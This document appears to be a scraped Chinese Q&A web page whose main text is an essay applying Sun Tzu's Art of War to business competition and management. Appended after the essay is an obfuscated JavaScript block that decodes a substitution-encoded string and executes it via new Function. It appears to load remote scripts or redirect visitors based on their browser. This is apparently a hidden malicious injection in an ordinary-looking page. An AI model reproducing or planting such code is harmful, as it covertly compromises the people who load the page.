推荐回答(2个)
商家历来视商场为战场,因而崇拜《孙子兵法》。“知彼知己,百战不殆”和“不战而屈人之兵”是最常被引用的孙子名言,但在商场竞争中如何“知彼知己”呢?如果不能百分之百地“知彼知己”,怎么办?如果不能“不战而屈人之兵”,怎么办?这些是企业时时面临的、难以解决的主要问题。从战争的角度,系统地研究《孙子兵法》,可以使我们得到解决这些问题的启示和指导。
成书于春秋末期的《孙子兵法》是中国古代军事思想的结晶。它总结了数百次大小战争的胜负经验,凝聚着丰富而伟大的军事思想。该书历经2500年而更显其璀璨,被当今世界上众多的著名军事院校列为必读书目。两千多年来,《孙子兵法》被口授、传抄、解释、增减、甚至修改。人们围绕着《孙子兵法》研究战争,透过2500年前“甲胄矢弩,戟楯蔽橹,丘牛大车”的古老战法,思考《孙子兵法》所揭示的战争规律,探索《孙子兵法》能跨越2500年社会、经济、武器装备的巨大变化而思想价值恒远的真谛之所在。
商场竞争与《孙子兵法》诞生时代的诸侯混战,具有惊人的共同性。我们自以为重视竞争,但如果从孙子谓战争是“死生之地,存亡之道”的角度审视今天商场的竞争,我们对竞争的认识会有一种更强烈的危机感。商场竞争与“春秋无义战”一样“弱肉强食”。竞争对手之间不是争夺市场份额,而是争夺“死生”、“存亡”。一些企业的兴盛,必然伴随着另一些企业的破产:兴盛的是你,还是我?破产的是你,还是我?这种迫切的危机感,会敦促我们从新的角度重新思考竞争。
我们如何重视竞争,又如何领导企业夺取竞争的胜利呢?孙子认为“兵贵胜,不贵久”对于国家存亡至关重要,那么它给予企业的启示是什么呢?孙子说“胜兵先胜而后求战,败兵先战而后求胜”,我们怎样才能是“胜兵”,而不是“败兵”呢?孙子认为“先为不可胜,以待敌之可胜”,企业怎样才能“先为不可胜”呢?孙子强调军队以“奇正”克敌制胜,运用“虚实”使打败敌人的力量如石击卵,那么什么是企业竞争的“奇正”和“虚实”呢?孙子解释战胜敌人还要用“迂直之计”,什么是企业的“迂直”呢?孙子又说“兵以诈立,以利动,以分合为变者”,今天我们用商家的话解释就是:企业之间的竞争是斗智;企业的竞争行为对外是争夺有利条件,对内是采用分散和集中二种基本方法调度资源。我们指挥企业竞争,有过比这些名言更精练、更概括、更具有指导性的战略思考吗?这些正是《孙子兵法》不仅能跨越2500年的时间和不同国度的空间,而且能跨越战争理论进而指导商场竞争的精深的哲理力量。
我们研究《孙子兵法》是为更好地掌握、应用和发展工商管理理论。从战争和军事的角度研究竞争,能使我们获得一个更高层次、更广阔的视野,使我们重视把握竞争的方向,关注竞争方向是否正确,关注我们能否夺取竞争的战略胜利而非竞争的战术胜利。我们追求的胜利,是夺取多数竞争的胜利,而不是少数竞争的胜利。这就是追求统计学所谓的“大数”。我们以“大数”取胜为方向,就能高屋建瓴地看待企业管理,要求企业行为符合“大数”取胜的方向。
当然,我们在企业每天面临、力求解决的问题,不仅是把握竞争方向,更多的是具体的管理和竞争。《孙子兵法》没有针对企业具体问题的具体答案,但蕴涵着能使我们“大数”取胜的丰富实用性。孙子关于国家战争能力的建设、选择主将、行军作战、地形利用、士兵管理、使用间谍等诸多方面的论述,为我们管理企业、指挥竞争提供了非常直接的具体参考和指导。商场竞争毕竟不是真正的流血战争,因此我们需要根据《孙子兵法》各篇章的主要观点和思想,设想国君和主将在战争中的处境,体会国君和主将所面临问题的严峻性,以此为基础来理解孙子思想观点的由来和精髓所在,从而获得指导企业管理和竞争的启示。
孙子用大量篇幅,细致入微地列举军队在各种地形行军、扎营、作战时必须执行的军规和作战条例,强调军队若不照办,就会生病、没有水喝、被伏击、被战败。孙子对军队的这些细致入微的要求,如同规范企业行为的规章制度,启发我们要从确保竞争胜利的角度重视规章制度。孙子详细地描述“相敌”的方法:众多树木摇曳,是敌军在隐蔽接近;鸟惊飞,是有敌军伏兵;尘土形状高而尖,是敌军战车袭来;尘土低而宽,是敌军步兵在接近,等等。孙子告诫主将,要根据这些迹象判断敌情;否则,被敌人进攻、被敌人战败时,才知道被进攻、被战败。如同在战场上一样,在商场竞争中,我们不可能百分之百地“知彼知己”,即使对手的全部员工都是您的耳目,您也不能知道对手的全部情况和变化;即使您是企业主、总经理,您也无法知道自己企业的全部情况和变化。因此,我们管理企业、指挥竞争,必须重视迹象,善于发现迹象,根据迹象判断、决策。《孙子兵法》所体现出来的这些丰富的实用性,能使我们指导企业在商场竞争中处于优势。
《孙子兵法》的实用性,质朴似“拙”,没有丝毫的遮掩。例如,孙子说,军队初入敌境作战,士卒易开小差逃回国,因此要加强控制;主将要把士卒“投之无所往”,士卒才能英勇杀敌,而且要“登高而去其梯”和“焚舟破釜”,士卒才能一往无前,夺取胜利;主将还要“愚士卒之耳目,使之无知”,士卒才服从“投之无所往”,才能保密。在2500年后的今天,我们初入竞争对手的市场时,销售人员是不是会畏惧阻力而不愿拜访客户呢?这时,没有销售提成,我们必须倚重强迫性的行政手段,督促销售人员去冲破竞争对手的阻力,打开市场。我们要求员工敬业,企业若留有不敬业的员工,原本敬业的员工也会变得不敬业。任何有经验的企业管理者都知道,如果把应该保密的企业信息告诉无关的员工,员工就不会敬业,竞争对手也会马上知道。因此,孙子提出的“投之无所往”、“登高而去其梯”、“焚舟破釜”、“愚士卒之耳目”不是历史的糟粕,而是跨越2500年的管理人的真谛。
“诡道”计谋仅是孙子军事思想中的极小部分。如果将“奇正”、“虚实”、“用间”均与“诡道”视为计谋部分,按字数计算,计谋部分只占《孙子兵法》全书的17%,而占绝大部分的其他内容是有关国家军事力量的建设、军队管理、作战指挥、行军扎营、后勤保障、地形利用、战场各种情况的权变处理、如何使将士英勇杀敌、如何使千万将士和众多作战单位在战斗混乱中行动一致,等等。无疑,这些才是军队作战胜利的基础。在这个基础之上,才有计谋的运用和成功。因此,我们学习孙子军事思想,指导企业管理,要研究计谋部分,但首先要更重视这些作为《孙子兵法》主体的内容,从中汲取建设企业核心竞争力和价值链的智慧。如果我们的研究仅限于计谋,则是一种偏误,企业管理者要自问:我们有最上智的计谋和战略,下属部门和员工能实现吗?在战场上,最终决定战争胜负的是军队整体执行正确决策的能力;在商场上,最终决定企业竞争胜负的是核心竞争力和价值链。无论在战场还是商场,我们要夺取胜利,绝不能指望华而不实、脱离实际的计谋。
在2500年的历程中,孙子的军事思想哺育了无数的优秀军事家。在2500年后的今天,它也将能指引我们成为成功、更成功的企业管理者,成为商场竞争中的“善之善者”。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();